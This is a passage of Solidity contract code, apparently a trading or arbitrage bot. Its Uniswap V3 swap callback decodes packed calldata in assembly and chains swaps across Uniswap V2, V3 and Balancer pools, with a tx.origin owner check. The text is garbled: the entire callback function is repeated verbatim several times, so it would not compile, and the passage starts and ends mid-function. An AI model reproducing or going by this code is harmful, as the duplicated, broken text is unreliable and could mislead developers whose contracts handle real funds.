let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
